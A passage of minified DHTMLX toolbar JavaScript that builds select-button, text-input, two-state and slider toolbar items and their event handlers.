this};dhtmlXToolbarObject.prototype._buttonSelectObject=function(e,l,h){this.id=e.idPrefix+l;this.state=(h.enabled!=null?(h.enabled==\"true\"?true:false):true);this.imgEn=(h.img||\"\");this.imgDis=(h.imgdis||\"\");this.img=(this.state?(this.imgEn!=\"\"?this.imgEn:\"\"):(this.imgDis!=\"\"?this.imgDis:\"\"));this.mode=(h.mode||\"button\");if(this.mode==\"select\"){this.openAll=true;this.renderSelect=false;if(!h.text||h.text.length==0){h.text=\"&nbsp;\"}}else{this.openAll=(window.dhx4.s2b(h.openAll)==true);this.renderSelect=(h.renderSelect==null?true:window.dhx4.s2b(h.renderSelect))}this.maxOpen=(!isNaN(h.maxOpen?h.maxOpen:\"\")?h.maxOpen:null);this._maxOpenTest=function(){if(!isNaN(this.maxOpen)){if(!e._sbw){var n=document.createElement(\"DIV\");n.className=\"dhxtoolbar_maxopen_test\";document.body.appendChild(n);var m=document.createElement(\"DIV\");m.className=\"dhxtoolbar_maxopen_test2\";n.appendChild(m);e._sbw=n.offsetWidth-m.offsetWidth;n.removeChild(m);m=null;document.body.removeChild(n);n=null}}};this._maxOpenTest();this.obj=document.createElement(\"DIV\");this.obj.allowClick=false;this.obj.extAction=(h.action||null);this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_\"+(this.state?\"def\":\"dis\");this.obj.style.display=(h.hidden!=null?\"none\":\"\");this.obj.renderAs=this.obj.className;this.obj.onselectstart=function(m){m=m||event;if(m.preventDefault){m.preventDefault()}else{m.returnValue=false}};this.obj.idd=String(l);this.obj.title=(h.title||\"\");this.obj.pressed=false;this.callEvent=false;this.obj.innerHTML=e._rtlParseBtn((this.img!=\"\"?\"<img src='\"+e.conf.icons_path+this.img+\"'>\":\"\"),(h.text!=null?\"<div class='dhxtoolbar_text'>\"+h.text+\"</div>\":\"\"));e.base.appendChild(this.obj);this.arw=document.createElement(\"DIV\");this.arw.className=\"dhx_toolbar_arw dhxtoolbar_btn_\"+(this.state?\"def\":\"dis\");this.arw.style.display=this.obj.style.display;this.arw.innerHTML=\"<div class='arwimg'>&nbsp;</div>\";this.arw.title=this.obj.title;this.arw.onselectstart=function(m){m=m||event;if(m.preventDefault){m.preventDefault()}else{m.returnValue=false}};e.base.appendChild(this.arw);var a=this;this.obj.onmouseover=function(m){m=m||event;if(e.anyUsed!=\"none\"){return}if(!a.state){return}a.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_over\";a.obj.className=a.obj.renderAs;a.arw.className=String(a.obj.renderAs).replace(\"btn\",\"arw\")};this.obj.onmouseout=function(){a.obj.allowClick=false;if(e.anyUsed!=\"none\"){return}if(!a.state){return}a.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_def\";a.obj.className=a.obj.renderAs;a.arw.className=String(a.obj.renderAs).replace(\"btn\",\"arw\");a.callEvent=false};this.arw.onmouseover=this.obj.onmouseover;this.arw.onmouseout=this.obj.onmouseout;if(this.openAll==true){}else{this.obj.onclick=function(m){m=m||event;if(!a.obj.allowClick){return}if(!a.state){return}if(e.anyUsed!=\"none\"){return}var n=a.obj.idd.replace(e.idPrefix,\"\");if(a.obj.extAction){try{window[a.obj.extAction](n)}catch(m){}}e.callEvent(\"onClick\",[n])};this.obj[window.dhx4.isIPad?\"ontouchstart\":\"onmousedown\"]=function(m){m=m||event;if(e.anyUsed!=\"none\"){return}if(!a.state){return}a.obj.allowClick=true;a.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_pres\";a.arw.className=\"dhx_toolbar_arw dhxtoolbar_btn_pres\";a.callEvent=true};this.obj[window.dhx4.isIPad?\"ontouchend\":\"onmouseup\"]=function(m){m=m||event;m.cancelBubble=true;if(e.anyUsed!=\"none\"){return}if(!a.state){return}a.obj.className=a.obj.renderAs;a.arw.className=String(a.obj.renderAs).replace(\"btn\",\"arw\");if(window.dhx4.isIPad&&a.callEvent){var n=a.obj.idd.replace(e.idPrefix,\"\");e.callEvent(\"onClick\",[n])}}}if(window.dhx4.isIPad){this.obj.ontouchmove=this.obj.onmouseout}this.arw[window.dhx4.isIPad?\"ontouchstart\":\"onmousedown\"]=function(o){o=o||event;var w=(this.className.indexOf(\"dhx_toolbar_arw\")===0?this:this.nextSibling);if(w._skip){o=o||event;o.cancelBubble=true}else{w._skip=true}w=null;if(!a.state){return}if(e.anyUsed==a.obj.idd){a.obj.className=a.obj.renderAs;a.arw.className=String(a.obj.renderAs).replace(\"btn\",\"arw\");e.anyUsed=\"none\";window.dhx4.zim.clear(a.polygon._idd);a.polygon.style.display=\"none\";if(a.polygon._ie6cover){a.polygon._ie6cover.style.display=\"none\"}if(e.conf.skin==\"dhx_terrace\"){e._improveTerraceButtonSelect(a.id,true)}}else{if(e.anyUsed!=\"none\"){if(e.objPull[e.idPrefix+e.anyUsed][\"type\"]==\"buttonSelect\"){var v=e.objPull[e.idPrefix+e.anyUsed];if(v.polygon.style.display!=\"none\"){v.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_def\";v.obj.className=v.obj.renderAs;v.arw.className=String(a.obj.renderAs).replace(\"btn\",\"arw\");window.dhx4.zim.clear(v.polygon._idd);v.polygon.style.display=\"none\";if(v.polygon._ie6cover){v.polygon._ie6cover.style.display=\"none\"}if(e.conf.skin==\"dhx_terrace\"){e._improveTerraceButtonSelect(v.id,true)}}}}a.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_over\";a.arw.className=\"dhx_toolbar_arw dhxtoolbar_btn_pres\";e.anyUsed=a.obj.idd;a.polygon.style.top=\"0px\";a.polygon.style.visibility=\"hidden\";a.polygon.style.zIndex=window.dhx4.zim.reserve(a.polygon._idd);a.polygon.style.display=\"\";if(e.conf.skin==\"dhx_terrace\"){e._improveTerraceButtonSelect(a.id,false)}a._fixMaxOpenHeight(a.maxOpen||null);e._autoDetectVisibleArea();var q=window.dhx4.absTop(a.obj)+a.obj.offsetHeight+e.conf.sel_ofs_y;var s=a.polygon.offsetHeight;if(q+s>e.tY2){var r=(a.maxOpen!=null?Math.floor((e.tY2-q)/22):0);if(r>=1){a._fixMaxOpenHeight(r)}else{q=window.dhx4.absTop(a.obj)-s-e.conf.sel_ofs_y;if(q<0){q=0}}}a.polygon.style.top=q+\"px\";if(e.rtl){a.polygon.style.left=window.dhx4.absLeft(a.obj)+a.obj.offsetWidth-a.polygon.offsetWidth+e.conf.sel_ofs_x+\"px\"}else{var n=document.body.scrollLeft;var m=n+(window.innerWidth||document.body.clientWidth);var u=window.dhx4.absLeft(a.obj)+e.conf.sel_ofs_x;if(u+a.polygon.offsetWidth>m){u=window.dhx4.absLeft(a.arw)+a.arw.offsetWidth-a.polygon.offsetWidth}a.polygon.style.left=Math.max(u,5)+\"px\"}a.polygon.style.visibility=\"visible\";if(a.polygon._ie6cover){a.polygon._ie6cover.style.left=a.polygon.style.left;a.polygon._ie6cover.style.top=a.polygon.style.top;a.polygon._ie6cover.style.width=a.polygon.offsetWidth+\"px\";a.polygon._ie6cover.style.height=a.polygon.offsetHeight+\"px\";a.polygon._ie6cover.style.display=\"\"}}return false};this.arw.onclick=function(m){m=m||event;m.cancelBubble=true};this.arw[window.dhx4.isIPad?\"ontouchend\":\"onmouseup\"]=function(m){m=m||event;m.cancelBubble=true};if(this.openAll===true){this.obj.onclick=this.arw.onclick;this.obj.onmousedown=this.arw.onmousedown;this.obj.onmouseup=this.arw.onmouseup;if(window.dhx4.isIPad){this.obj.ontouchstart=this.arw.ontouchstart;this.obj.ontouchend=this.arw.ontouchend}}this.obj.iddPrefix=e.idPrefix;this._listOptions={};this._fixMaxOpenHeight=function(r){var q=\"auto\";var o=false;if(r!==null){var n=0;for(var m in this._listOptions){n++}if(n>r){this._ph=22*r;q=this._ph+\"px\"}else{o=true}}this.polygon.style.width=\"auto\";this.polygon.style.height=\"auto\";if(!o&&a.maxOpen!=null){this.polygon.style.width=this.p_tbl.offsetWidth+e._sbw+\"px\";this.polygon.style.height=q}};this._separatorButtonSelectObject=function(o,m,n){this.obj={};this.obj.tr=document.createElement(\"TR\");this.obj.tr.className=\"tr_sep\";this.obj.tr.onselectstart=function(q){q=q||event;if(q.preventDefault){q.preventDefault()}else{q.returnValue=false}return false};this.obj.td=document.createElement(\"TD\");this.obj.td.colSpan=\"2\";this.obj.td.className=\"td_btn_sep\";this.obj.td.onselectstart=function(q){q=q||event;if(q.preventDefault){q.preventDefault()}else{q.returnValue=false}return false};if(isNaN(n)){n=a.p_tbody.childNodes.length+1}else{if(n<1){n=1}}if(n>a.p_tbody.childNodes.length){a.p_tbody.appendChild(this.obj.tr)}else{a.p_tbody.insertBefore(this.obj.tr,a.p_tbody.childNodes[n-1])}this.obj.tr.appendChild(this.obj.td);this.obj.sep=document.createElement(\"DIV\");this.obj.sep.className=\"btn_sep\";this.obj.sep.onselectstart=function(q){q=q||event;if(q.preventDefault){q.preventDefault()}else{q.returnValue=false}return false};this.obj.td.appendChild(this.obj.sep);a._listOptions[o]=this.obj;return this};this._buttonButtonSelectObject=function(r,o,q){var n=true;if(typeof(o.enabled)!=\"undefined\"){n=window.dhx4.s2b(o.enabled)}else{if(typeof(o.disabled)!=\"undefined\"){n=window.dhx4.s2b(o.disabled)}}this.obj={};this.obj.tr=document.createElement(\"TR\");this.obj.tr.en=n;this.obj.tr.extAction=(o.action||null);this.obj.tr._selected=(o.selected!=null);this.obj.tr.className=\"tr_btn\"+(this.obj.tr.en?(this.obj.tr._selected&&a.renderSelect?\" tr_btn_selected\":\"\"):\" tr_btn_disabled\");this.obj.tr.onselectstart=function(s){s=s||event;if(s.preventDefault){s.preventDefault()}else{s.returnValue=false}return false};this.obj.tr.idd=String(r);if(isNaN(q)){q=a.p_tbody.childNodes.length+1}else{if(q<1){q=1}}if(q>a.p_tbody.childNodes.length){a.p_tbody.appendChild(this.obj.tr)}else{a.p_tbody.insertBefore(this.obj.tr,a.p_tbody.childNodes[q-1])}this.obj.td_a=document.createElement(\"TD\");this.obj.td_a.className=\"td_btn_img\";this.obj.td_a.onselectstart=function(s){s=s||event;if(s.preventDefault){s.preventDefault()}else{s.returnValue=false}return false};this.obj.td_b=document.createElement(\"TD\");this.obj.td_b.className=\"td_btn_txt\";this.obj.td_b.onselectstart=function(s){s=s||event;if(s.preventDefault){s.preventDefault()}else{s.returnValue=false}return false};if(e.rtl){this.obj.tr.appendChild(this.obj.td_b);this.obj.tr.appendChild(this.obj.td_a)}else{this.obj.tr.appendChild(this.obj.td_a);this.obj.tr.appendChild(this.obj.td_b)}if(o.img!=null){this.obj.td_a.innerHTML=\"<img class='btn_sel_img' src='\"+e.conf.icons_path+o.img+\"' border='0'>\";this.obj.tr._img=o.img}else{this.obj.td_a.innerHTML=\"&nbsp;\"}var m=(o.text!=null?o.text:(o.itemText||\"\"));this.obj.td_b.innerHTML=\"<div class='btn_sel_text'>\"+m+\"</div>\";this.obj.tr[window.dhx4.isIPad?\"ontouchstart\":\"onmouseover\"]=function(){if(!this.en||(this._selected&&a.renderSelect)){return}this.className=\"tr_btn tr_btn_over\"};this.obj.tr.onmouseout=function(){if(!this.en){return}if(this._selected&&a.renderSelect){if(String(this.className).search(\"tr_btn_selected\")==-1){this.className=\"tr_btn tr_btn_selected\"}}else{this.className=\"tr_btn\"}};this.obj.tr[window.dhx4.isIPad?\"ontouchend\":\"onclick\"]=function(s){s=s||event;s.cancelBubble=true;if(!this.en){return}a.setListOptionSelected(this.idd.replace(e.idPrefix,\"\"));a.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_def\";a.obj.className=a.obj.renderAs;a.arw.className=String(a.obj.renderAs).replace(\"btn\",\"arw\");window.dhx4.zim.clear(a.polygon._idd);a.polygon.style.display=\"none\";if(a.polygon._ie6cover){a.polygon._ie6cover.style.display=\"none\"}if(e.conf.skin==\"dhx_terrace\"){e._improveTerraceButtonSelect(a.id,true)}e.anyUsed=\"none\";var u=this.idd.replace(e.idPrefix,\"\");if(this.extAction){try{window[this.extAction](u)}catch(s){}}e.callEvent(\"onClick\",[u])};a._listOptions[r]=this.obj;return this};this.polygon=document.createElement(\"DIV\");this.polygon.dir=\"ltr\";this.polygon.style.display=\"none\";this.polygon.className=\"dhx_toolbar_poly_\"+e.conf.skin+\" dhxtoolbar_icons_\"+e.conf.iconSize;this.polygon.onselectstart=function(m){m=m||event;if(m.preventDefault){m.preventDefault()}else{m.returnValue=false}};this.polygon.onmousedown=function(m){m=m||event;m.cancelBubble=true};this.polygon.style.overflowY=\"auto\";this.polygon._idd=window.dhx4.newId();if(window.dhx4.isIPad){this.polygon.ontouchstart=function(m){m=m||event;if(m.preventDefault){m.preventDefault()}else{m.returnValue=false}m.cancelBubble=true;return false}}this.p_tbl=document.createElement(\"TABLE\");this.p_tbl.className=\"buttons_cont\";this.p_tbl.cellSpacing=\"0\";this.p_tbl.cellPadding=\"0\";this.p_tbl.border=\"0\";this.polygon.appendChild(this.p_tbl);this.p_tbody=document.createElement(\"TBODY\");this.p_tbl.appendChild(this.p_tbody);if(h.options!=null){for(var g=0;g<h.options.length;g++){var c=\"_\"+(h.options[g].type||\"\")+\"ButtonSelectObject\";if(h.options[g].id==null){h.options[g].id=e._genStr(24)}if(typeof(this[c])==\"function\"){new this[c](h.options[g].id,h.options[g])}}}document.body.appendChild(this.polygon);if(window.dhx4.isIE6){this.polygon._ie6cover=document.createElement(\"IFRAME\");this.polygon._ie6cover.frameBorder=0;this.polygon._ie6cover.style.position=\"absolute\";this.polygon._ie6cover.style.border=\"none\";this.polygon._ie6cover.style.backgroundColor=\"#000000\";this.polygon._ie6cover.style.filter=\"alpha(opacity=100)\";this.polygon._ie6cover.style.display=\"none\";this.polygon._ie6cover.setAttribute(\"src\",\"javascript:false;\");document.body.appendChild(this.polygon._ie6cover)}this.setWidth=function(m){this.obj.style.width=m-this.arw.offsetWidth+\"px\";this.polygon.style.width=this.obj.offsetWidth+this.arw.offsetWidth-2+\"px\";this.p_tbl.style.width=this.polygon.style.width};this.enableItem=function(){e._enableItem(this)};this.disableItem=function(){e._disableItem(this)};this.isEnabled=function(){return this.state};this.showItem=function(){this.obj.style.display=\"\";this.arw.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\";this.arw.style.display=\"none\"};this.isVisible=function(){return(this.obj.style.display==\"\")};this.setItemText=function(m){e._setItemText(this,m)};this.getItemText=function(){return e._getItemText(this)};this.setItemImage=function(m){e._setItemImage(this,m,true)};this.clearItemImage=function(){e._clearItemImage(this,true)};this.setItemImageDis=function(m){e._setItemImage(this,m,false)};this.clearItemImageDis=function(){e._clearItemImage(this,false)};this.setItemToolTip=function(m){this.obj.title=m;this.arw.title=m};this.getItemToolTip=function(){return this.obj.title};this.addListOption=function(s,r,o,q,m){if(!(o==\"button\"||o==\"separator\")){return}var n={id:s,type:o,text:q,img:m};new this[\"_\"+o+\"ButtonSelectObject\"](s,n,r)};this.removeListOption=function(o){if(!this._isListButton(o,true)){return}var m=this._listOptions[o];if(m.td_a!=null&&m.td_b!=null){m.td_a.onselectstart=null;m.td_b.onselectstart=null;while(m.td_a.childNodes.length>0){m.td_a.removeChild(m.td_a.childNodes[0])}while(m.td_b.childNodes.length>0){m.td_b.removeChild(m.td_b.childNodes[0])}m.tr.onselectstart=null;m.tr.onmouseover=null;m.tr.onmouseout=null;m.tr.onclick=null;while(m.tr.childNodes.length>0){m.tr.removeChild(m.tr.childNodes[0])}m.tr.parentNode.removeChild(m.tr);m.td_a=null;m.td_b=null;m.tr=null}else{m.sep.onselectstart=null;m.td.onselectstart=null;m.tr.onselectstart=null;while(m.td.childNodes.length>0){m.td.removeChild(m.td.childNodes[0])}while(m.tr.childNodes.length>0){m.tr.removeChild(m.tr.childNodes[0])}m.tr.parentNode.removeChild(m.tr);m.sep=null;m.td=null;m.tr=null}m=null;this._listOptions[o]=null;try{delete this._listOptions[o]}catch(n){}};this.showListOption=function(m){if(!this._isListButton(m,true)){return}this._listOptions[m].tr.style.display=\"\"};this.hideListOption=function(m){if(!this._isListButton(m,true)){return}this._listOptions[m].tr.style.display=\"none\"};this.isListOptionVisible=function(m){if(!this._isListButton(m,true)){return}return(this._listOptions[m].tr.style.display!=\"none\")};this.enableListOption=function(m){if(!this._isListButton(m)){return}this._listOptions[m].tr.en=true;this._listOptions[m].tr.className=\"tr_btn\"+(this._listOptions[m].tr._selected&&e.renderSelect?\" tr_btn_selected\":\"\")};this.disableListOption=function(m){if(!this._isListButton(m)){return}this._listOptions[m].tr.en=false;this._listOptions[m].tr.className=\"tr_btn tr_btn_disabled\"};this.isListOptionEnabled=function(m){if(!this._isListButton(m)){return}return this._listOptions[m].tr.en};this.setListOptionPosition=function(o,n){if(!this._listOptions[o]||this.getListOptionPosition(o)==n||isNaN(n)){return}if(n<1){n=1}var m=this._listOptions[o].tr;this.p_tbody.removeChild(m);if(n>this.p_tbody.childNodes.length){this.p_tbody.appendChild(m)}else{this.p_tbody.insertBefore(m,this.p_tbody.childNodes[n-1])}m=null};this.getListOptionPosition=function(o){var n=-1;if(!this._listOptions[o]){return n}for(var m=0;m<this.p_tbody.childNodes.length;m++){if(this.p_tbody.childNodes[m]==this._listOptions[o].tr){n=m+1}}return n};this.setListOptionImage=function(o,m){if(!this._isListButton(o)){return}var n=this._listOptions[o].tr.childNodes[(e.rtl?1:0)];n.innerHTML=\"<img src='\"+e.conf.icons_path+m+\"' class='btn_sel_img'>\";n=null};this.getListOptionImage=function(o){if(!this._isListButton(o)){return}var n=this._listOptions[o].tr.childNodes[(e.rtl?1:0)];var m=null;if(n.childNodes.length>0){m=n.childNodes[0].src}n=null;return m};this.clearListOptionImage=function(n){if(!this._isListButton(n)){return}var m=this._listOptions[n].tr.childNodes[(e.rtl?1:0)];while(m.childNodes.length>0){m.removeChild(m.childNodes[0])}m.innerHTML=\"&nbsp;\";m=null};this.setListOptionText=function(n,m){if(!this._isListButton(n)){return}this._listOptions[n].tr.childNodes[(e.rtl?0:1)].childNodes[0].innerHTML=m};this.getListOptionText=function(m){if(!this._isListButton(m)){return}return this._listOptions[m].tr.childNodes[(e.rtl?0:1)].childNodes[0].innerHTML};this.setListOptionToolTip=function(n,m){if(!this._isListButton(n)){return}this._listOptions[n].tr.title=m};this.getListOptionToolTip=function(m){if(!this._isListButton(m)){return}return this._listOptions[m].tr.title};this.forEachListOption=function(n){for(var m in this._listOptions){n(m)}};this.getAllListOptions=function(){var n=new Array();for(var m in this._listOptions){n[n.length]=m}return n};this.setListOptionSelected=function(o){for(var m in this._listOptions){var n=this._listOptions[m];if(n.td_a!=null&&n.td_b!=null&&n.tr.en){if(m==o){n.tr._selected=true;n.tr.className=\"tr_btn\"+(this.renderSelect?\" tr_btn_selected\":\"\");if(this.mode==\"select\"){if(n.tr._img){this.setItemImage(n.tr._img)}else{this.clearItemImage()}this.setItemText(this.getListOptionText(o))}}else{n.tr._selected=false;n.tr.className=\"tr_btn\"}}n=null}};this.getListOptionSelected=function(){var n=null;for(var m in this._listOptions){if(this._listOptions[m].tr._selected==true){n=m}}return n};this._isListButton=function(n,m){if(this._listOptions[n]==null){return false}if(!m&&this._listOptions[n].tr.className==\"tr_sep\"){return false}return true};this.setMaxOpen=function(m){this._ph=null;if(typeof(m)==\"number\"){this.maxOpen=m;this._maxOpenTest();return}this.maxOpen=null};if(h.width){this.setWidth(h.width)}if(this.mode==\"select\"&&typeof(h.selected)!=\"undefined\"){this.setListOptionSelected(h.selected)}return this};dhtmlXToolbarObject.prototype._buttonInputObject=function(e,h,g){this.id=e.idPrefix+h;this.obj=document.createElement(\"DIV\");this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_def\";this.obj.style.display=(g.hidden!=null?\"none\":\"\");this.obj.idd=String(h);this.obj.w=(g.width!=null?g.width:100);this.obj.title=(g.title!=null?g.title:\"\");this.obj.innerHTML=\"<input class='dhxtoolbar_input' type='text' style='width:\"+this.obj.w+\"px;'\"+(g.value!=null?\" value='\"+g.value+\"'\":\"\")+\">\";var c=e;var a=this;this.obj.childNodes[0].onkeydown=function(l){l=l||event;if(l.keyCode==13){c.callEvent(\"onEnter\",[a.obj.idd,this.value])}};e.base.appendChild(this.obj);this.enableItem=function(){this.obj.childNodes[0].disabled=false};this.disableItem=function(){this.obj.childNodes[0].disabled=true};this.isEnabled=function(){return(!this.obj.childNodes[0].disabled)};this.showItem=function(){this.obj.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\"};this.isVisible=function(){return(this.obj.style.display!=\"none\")};this.setValue=function(l){this.obj.childNodes[0].value=l};this.getValue=function(){return this.obj.childNodes[0].value};this.setWidth=function(l){this.obj.w=l;this.obj.childNodes[0].style.width=this.obj.w+\"px\"};this.getWidth=function(){return this.obj.w};this.setItemToolTip=function(l){this.obj.title=l};this.getItemToolTip=function(){return this.obj.title};this.getInput=function(){return this.obj.firstChild};if(typeof(g.enabled)!=\"undefined\"&&window.dhx4.s2b(g.enabled)==false){this.disableItem()}return this};dhtmlXToolbarObject.prototype._buttonTwoStateObject=function(a,g,c){this.id=a.idPrefix+g;this.state=(c.enabled!=null?false:true);this.imgEn=(c.img!=null?c.img:\"\");this.imgDis=(c.imgdis!=null?c.imgdis:\"\");this.img=(this.state?(this.imgEn!=\"\"?this.imgEn:\"\"):(this.imgDis!=\"\"?this.imgDis:\"\"));this.obj=document.createElement(\"DIV\");this.obj.pressed=(c.selected!=null);this.obj.extAction=(c.action||null);this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_\"+(this.obj.pressed?\"pres\"+(this.state?\"\":\"_dis\"):(this.state?\"def\":\"dis\"));this.obj.style.display=(c.hidden!=null?\"none\":\"\");this.obj.renderAs=this.obj.className;this.obj.idd=String(g);this.obj.title=(c.title||\"\");if(this.obj.pressed){this.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_over\"}this.obj.innerHTML=a._rtlParseBtn((this.img!=\"\"?\"<img src='\"+a.conf.icons_path+this.img+\"'>\":\"\"),(c.text!=null?\"<div class='dhxtoolbar_text'>\"+c.text+\"</div>\":\"\"));a.base.appendChild(this.obj);var e=this;this.obj.onselectstart=function(h){h=h||event;if(h.preventDefault){h.preventDefault()}else{h.returnValue=false}};this.obj.onmouseover=function(){this._doOnMouseOver()};this.obj.onmouseout=function(){this._doOnMouseOut()};this.obj._doOnMouseOver=function(){if(e.state==false){return}if(a.anyUsed!=\"none\"){return}if(this.pressed){this.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_over\";return}this.className=\"dhx_toolbar_btn dhxtoolbar_btn_over\";this.renderAs=this.className};this.obj._doOnMouseOut=function(){if(e.state==false){return}if(a.anyUsed!=\"none\"){return}if(this.pressed){this.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_def\";return}this.className=\"dhx_toolbar_btn dhxtoolbar_btn_def\";this.renderAs=this.className};this.obj[window.dhx4.isIPad?\"ontouchstart\":\"onmousedown\"]=function(h){if(a.checkEvent(\"onBeforeStateChange\")){if(!a.callEvent(\"onBeforeStateChange\",[this.idd.replace(a.idPrefix,\"\"),this.pressed])){return}}if(e.state==false){return}if(a.anyUsed!=\"none\"){return}this.pressed=!this.pressed;this.className=(this.pressed?\"dhx_toolbar_btn dhxtoolbar_btn_pres\":this.renderAs);var l=this.idd.replace(a.idPrefix,\"\");if(this.extAction){try{window[this.extAction](l,this.pressed)}catch(h){}}a.callEvent(\"onStateChange\",[l,this.pressed]);return false};this.setItemState=function(h,m){if(this.obj.pressed!=h){if(h==true){this.obj.pressed=true;this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_pres\"+(this.state?\"\":\"_dis\");this.obj.renderAs=\"dhx_toolbar_btn dhxtoolbar_btn_over\"}else{this.obj.pressed=false;this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_\"+(this.state?\"def\":\"dis\");this.obj.renderAs=this.obj.className}if(m==true){var n=this.obj.idd.replace(a.idPrefix,\"\");if(this.obj.extAction){try{window[this.obj.extAction](n,this.obj.pressed)}catch(l){}}a.callEvent(\"onStateChange\",[n,this.obj.pressed])}}};this.getItemState=function(){return this.obj.pressed};this.enableItem=function(){a._enableItem(this)};this.disableItem=function(){a._disableItem(this)};this.isEnabled=function(){return this.state};this.showItem=function(){this.obj.style.display=\"\"};this.hideItem=function(){this.obj.style.display=\"none\"};this.isVisible=function(){return(this.obj.style.display==\"\")};this.setItemText=function(h){a._setItemText(this,h)};this.getItemText=function(){return a._getItemText(this)};this.setItemImage=function(h){a._setItemImage(this,h,true)};this.clearItemImage=function(){a._clearItemImage(this,true)};this.setItemImageDis=function(h){a._setItemImage(this,h,false)};this.clearItemImageDis=function(){a._clearItemImage(this,false)};this.setItemToolTip=function(h){this.obj.title=h};this.getItemToolTip=function(){return this.obj.title};return this};dhtmlXToolbarObject.prototype._sliderObject=function(g,l,h){this.id=g.idPrefix+l;this.state=(h.enabled!=null?(h.enabled==\"true\"?true:false):true);this.obj=document.createElement(\"DIV\");this.obj.className=\"dhx_toolbar_btn dhxtoolbar_btn_\"+(this.state?\"def\":\"dis\");this.obj.style.display=(h.hidden!=null?\"none\":\"\");this.obj.onselectstart=function(m){m=m||event;if(m.preventDefault){m.preventDefault()}else{m.returnValue=false}};this.obj.idd=String(l);this.obj.len=(h.length!=null?Number(h.length):50);this.obj.innerHTML=\"<div class='dhxtoolbar_text'>\"+(h.textMin||\"\")+\"</div><div class='dhxtoolbar_sl_bg_l'></div><div class='dhxtoolbar_sl_bg_m' style='width:\"+this.obj.len+\"px;'></div><div class='dhxtoolbar_sl_bg_r'></div><div class='dhxtoolbar_text'>\"+(h.textMax||\"\")+\"</div>\";g.base.appendChild(this.obj);var a=this;this.pen=document.createElement(\"DIV\");this.pen.className=\"dhxtoolbar_sl_pen\";this.obj.appendChild(this.pen);var e=this.pen;this.label=document.createElement(\"DIV\");this.label.dir=\"ltr\";this.label.className=\"dhx_toolbar_slider_label_\"+g.conf.skin+(g.rtl?\"_rtl\":\"\");this.label.style.display=\"none\";this.label.tip=(h.toolTip||\"%v\");this.label._zi=window.dhx4.newId();document.body.appendChild(this.label);var c=this.label;this.pen.valueMin=(h.valueMin!=null?Number(h.valueMin):0);this.pen.valueMax=(h.valueMax!=null?Number(h.valueMax):100);if(this.pen.valueMin>this.pen.valueMax){this.pen.valueMin=this.pen.valueMax}this.pen.valueNow=(h.valueNow!=null?Number(h.valueNow):this.pen.valueMax);if(this.pen.valueNow>this.pen.valueMax){this.pen.valueNow=this.pen.valueMax}if(this.pen.valueNow<this.pen.valueMin){this.pen.valueNow=this.pen.valueMin}this.pen._detectLimits=function(){this.minX=a.obj.childNodes[1].offsetLeft+2;this.maxX=a.obj.childNodes[3].offsetLeft-this.offsetWidth+1};this.pen._detectLimits();this.pen._definePos=function(){this.nowX=Math.round((this.valueNow-this.valueMin)*(this.maxX-this.minX)/(this.valueMax-this.valueMin)+this.minX);this.style.left=this.nowX+\"px\";this.newNowX=this.nowX};this.pen._definePos();this.pen.initXY=0;this.pen.allowMove=false;this.pen[window.dhx4.isIPad?\"ontouchstart\":\"onmousedown\"]=function(m){if(a.state==false){return}m=m||event;this.initXY=(window.dhx4.isIPad?m.touches[0].clientX:m.clientX);this.newValueNow=this.valueNow;this.allowMove=true;this.className=\"dhxtoolbar_sl_pen dhxtoolbar_over\";if(c.tip!=\"\"){c.style.visibility=\"hidden\";c.style.display=\"\";c.innerHTML=c.tip.replace(\"%v\",this.valueNow);c.style.left=Math.round(window.dhx4.absLeft(this)+this.offsetWidth/2-c.offsetWidth/2)+\"px\";c.style.top=window.dhx4.absTop(this)-c.offsetHeight-3+\"px\";c.style.visibility=\"\";c.style.zIndex=window.dhx4.zim.reserve(c._zi)}};this.pen._doOnMouseMoveStart=function(n){n=n||event;if(!e.allowMove){return}var m=(window.dhx4.isIPad?n.touches[0].clientX:n.clientX);var o=m-e.initXY;if(m<window.dhx4.absLeft(e)+Math.round(e.offsetWidth/2)&&e.nowX==e.minX){return}if(m>window.dhx4.absLeft(e)+Math.round(e.offsetWidth/2)&&e.nowX==e.maxX){return}e.newNowX=e.nowX+o;if(e.newNowX<e.minX){e.newNowX=e.minX}if(e.newNowX>e.maxX){e.newNowX=e.maxX}e.nowX=e.newNowX;e.style.left=e.nowX+\"px\";e.initXY=m;e.newValueNow=Math.round((e.valueMax-e.valueMin)*(e.newNowX-e.minX)/(e.maxX-e.minX)+e.valueMin);if(c.tip!=\"\"){c.innerHTML=c.tip.replace(/%v/gi,e.newValueNow);c.style.left=Math.round(window.dhx4.absLeft(e)+e.offsetWidth/2-c.offsetWidth/2)+\"px\";c.style.top=window.dhx4.absTop(e)-c.offsetHeight-3+\"px\"}n.cancelBubble=true;if(n.preventDefault){n.preventDefault()}else{n.returnValue=false}return false};this.pen._doOnMouseMoveEnd=function(){if(!e.allowMove){return}e.className=\"dhxtoolbar_sl_pen\";e.allowMove=false;e.nowX=e.newNowX;e.valueNow=e.newValueNow;if(c.tip!=\"\"){c.style.display=\"none\";window.dhx4.zim.clear(c._zi)}g.callEvent(\"onValueChange\",[a.obj.idd.replace(g.idPrefix,\"\"),e.valueNow])};if(window.dhx4.isIPad){document.addEventListener(\"touchmove\",e._doOnMouseMoveStart,false);document.addEventListener(\"touchend\",e._doOnMouseMoveEnd,false)}else{if(typeof(window.addEventListener)!=\"undefined\"){window.addEventListener(\"mousemove\",e._doOnMouseMoveStart,false);window.addEventListener(\"mouseup\",e._doOnMouseMoveEnd,false)}else{document.body.attachEvent(\"onmousemove\",e._doOnMouseMoveStart);document.body.attachEvent(\"onmouseup\",e._doOnMouseMoveEnd)}}this.enableItem=function(){if(this.state){return}this.state=true;this.obj.className=\"dhx_toolbar_btn 